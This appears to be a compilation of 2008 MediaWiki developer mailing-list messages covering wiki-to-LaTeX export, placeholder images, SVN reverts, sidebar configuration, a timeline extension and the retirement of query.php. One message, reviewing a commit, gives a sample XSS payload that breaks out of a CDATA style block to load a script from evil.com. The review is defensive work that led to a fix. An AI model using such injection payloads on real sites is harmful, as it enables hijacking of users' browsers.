Hi everyone,
I recently set up a MediaWiki (http://server.bluewatersys.com/w90n740/)
and I need to extra the content from it and convert it into LaTeX
syntax for printed documentation. I have googled for a suitable OSS
solution but nothing was apparent.
I would prefer a script written in Python, but any recommendations
would be very welcome.
Do you know of anything suitable?
Kind Regards,
Hugo Vincent,
Bluewater Systems.
I've been putting placeholder images on a lot of articles on en:wp.
e.g. [[Image:Replace this image male.svg]], which goes to
[[Wikipedia:Fromowner]], which asks people to upload an image if they
own one.
I know it's inspired people to add free content images to articles in
several cases. What I'm interested in is numbers. So what I'd need is
a list of edits where one of the SVGs that redirects to
[[Wikipedia:Fromowner]] is replaced with an image. (Checking which of
those are actually free images can come next.)
Is there a tolerably easy way to get this info from a dump? Any
Wikipedia statistics fans who think this'd be easy?
(If the placeholders do work, then it'd also be useful convincing some
wikiprojects to encourage the things. Not that there's ownership of
articles on en:wp, of *course* ...)
- d.
> From: brion(a)svn.wikimedia.org <brion(a)svn.wikimedia.org>
> Date: Jul 11, 2008 12:11 AM
> Subject: [MediaWiki-CVS] SVN: [37542] trunk/phase3
> To: mediawiki-cvs(a)lists.wikimedia.org
>
>
> Revision: 37542
> Author: brion
> Date: 2008-07-10 22:11:11 +0000 (Thu, 10 Jul 2008)
>
> Log Message:
> -----------
> Hold back $wgTrackLinkChanges for a little bit; reverting r37322,
> 37430, 37432, 37435.
> Even disabled, it's started interfering with regular tasks like
> running the parser tests.
>
> Modified Paths:
> --------------
> trunk/phase3/RELEASE-NOTES
> trunk/phase3/includes/DefaultSettings.php
> trunk/phase3/includes/LinksUpdate.php
> trunk/phase3/maintenance/parserTests.inc
> trunk/phase3/maintenance/postgres/tables.sql
> trunk/phase3/maintenance/tables.sql
> trunk/phase3/maintenance/updaters.inc
>
> Removed Paths:
> -------------
> trunk/phase3/maintenance/postgres/archives/patch-recentlinkchanges.sql
>
Can I put this back in now that we have branched? Or is there more
stuff to fix about it?
Bryan
It's now possible to move the search box up in the sidebar, above links
generated by [[MediaWiki:Sidebar]]. This is done by adding a section
called "SEARCH" (case-sensitive) to [[MediaWiki:Sidebar]], in the location
you think it should be. For instance:
* SEARCH
* navigation
** mainpage|mainpage
** Portal:Contents|Contents
** Portal:Featured content|featuredcontent
** currentevents-url|currentevents
** randompage-url|randompage
It's also possible to move the languages box and the toolbox in the same
way, using LANGUAGES and TOOLBOX.
Do not put second-level links under the special headings:
* SEARCH
** Don't add a line like this
It doesn't do anything useful (yet).
-- Tim Starling
Hi!
The MediaWiki extension WikiTimeLine version 1.0 is released. It displays events, people, and such on an interactive timeline. Its working with JavaScript (client side, so it doesn't but load on the server) and its pretty interactive (moving around, zooming, clicking on events on the timeline). If you add WikiTimeLine tags with a start and end date to an article, you'll get a link in that article, and if you click on that link you'll add event to the timeline. So its totally real-time. Unlike easytimeline which is creating pictures when the article is created, WikiTimeLine is controlled by the reader of the article, not the writer. So everyone can put together their own timeline to see how things went in history. It also allows ongoing events (that have not yet stopped) and alternative begin or end dates.
I think this would be a great extension for Wikipedia or one of its sister projects. Any interest in that?
greetings,
Markus
_________________________________________________________________
Sie haben nie Platz in Ihrer Inbox? Mit Windows Live Hotmail haben Sie jetzt 5GB Speicherplatz - gratis! Holen Sie sich hier Ihren neuen Windows Live Hotmail Account!
http://get.live.com/mail/overview
On Wed, Jul 30, 2008 at 11:36 PM, <nad(a)svn.wikimedia.org> wrote:
> Log Message:
> -----------
> I meant to say should *not* use htmlspecialchars, it makes invalid CSS syntax - bug reported on MW talk page
> ...
> - $css = htmlspecialchars(trim(Sanitizer::checkCss($css)));
> + $css = trim(Sanitizer::checkCss($css));
> $parser->mOutput->addHeadItem( <<<EOT
> <style type="text/css">
> /*<![CDATA[*/
I'm pretty sure this results in a rather straightforward XSS exploit.
What if $css is something like:
]]></style><script type="text/javascript"
src="http://evil.com/take_over_browser.js"></script><style
type="text/css"><![CDATA[
You aren't escaping "]]>" anywhere.
The more correct solution, it seems to me, is to dispose of the CDATA
section altogether. It's entirely unnecessary if the code is
automatically generated and you can stick it through htmlspecialchars,
especially if there's probably almost nothing to escape and the CDATA
delimiters look uglier than the occasional rare < or whatnot. I've
done this in r38307.
On Thu, Jul 31, 2008 at 7:20 PM, <brion(a)svn.wikimedia.org> wrote:
> Log Message:
> -----------
> Revert r38302,38306 -- "Add an order by to the list of watched pages."
> This looks wrong -- an order by title wouldn't be indexed properly, and could be rather slow.
> . . .
> $sql = "SELECT wl_namespace, wl_title, page_id, page_len, page_is_redirect
> FROM {$watchlist} LEFT JOIN {$page} ON ( wl_namespace = page_namespace
> AND wl_title = page_title ) WHERE wl_user = {$uid}";
> - if ( !$dbr->implicitOrderby() ) {
> - $sql .= ' ORDER BY wl_title';
> - }
Maybe Greg meant ORDER BY wl_namespace, wl_title? That's the way it
would implicitly be retrieved in MySQL with our indexes. If that's
causing problems, that order should be made unconditionally explicit:
this isn't a case where it needs to be implicit for MySQL to be happy.
(If there is such a case. Not sure what this distinction is needed
for.)
Hey!
Is it possible to get a SVN account for a new extension? I'd like to add the WikiTimeLine extension (see http://www.mediawiki.org/wiki/Extension:WikiTimeLine ) to the SVN system of MediaWiki. Especially since there's a request for using this extension on Wikiversity. So, is this possible and what would I have to do for it if so?
greetings,
Markus
_________________________________________________________________
Windows Live Spaces - Ihr Leben, Ihr Space. Hier klicken und informieren.
http://get.live.com/spaces/overview
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
As you may know, the current MediaWiki API was based on an earlier
interface, the BotQuery extension accessed via query.php.
During development of the new API, the old query.php was left in place
on Wikimedia's sites to provide backwards-compatibility for tools and
user scripts using it.
However it's a bit of a burden to keep it around -- being nearly
unmaintained it suffers from "bitrot":
* Queries sometimes break due to backend changes
* Security problems are sometimes discovered and must be patched
We've been reluctant to just turn it off since some user scripts still
use it (Lupin's Popups are rumored to be the most popular such), but I'd
like to go ahead and plan to kill it.
I'm currently scheduling the Death of query.php for Monday, August 25 --
a little less than 4 weeks from today.
This gives interested parties a chance to either migrate their scripts
to the current API ahead of time, or to start work on an adaptor to
replace query.php -- transforming queries to send them to the new API
and transforming the results back to a format compatible with the old one.
- -- brion vibber (brion @ wikimedia.org)
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (Darwin)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iEYEARECAAYFAkiQ760ACgkQwRnhpk1wk46VGwCeOLp5Ynuw48ikLv8YztyB0kIc
eKoAnjPhey51pkojh7mTT4j7BYz95gYZ
=QZC+
-----END PGP SIGNATURE-----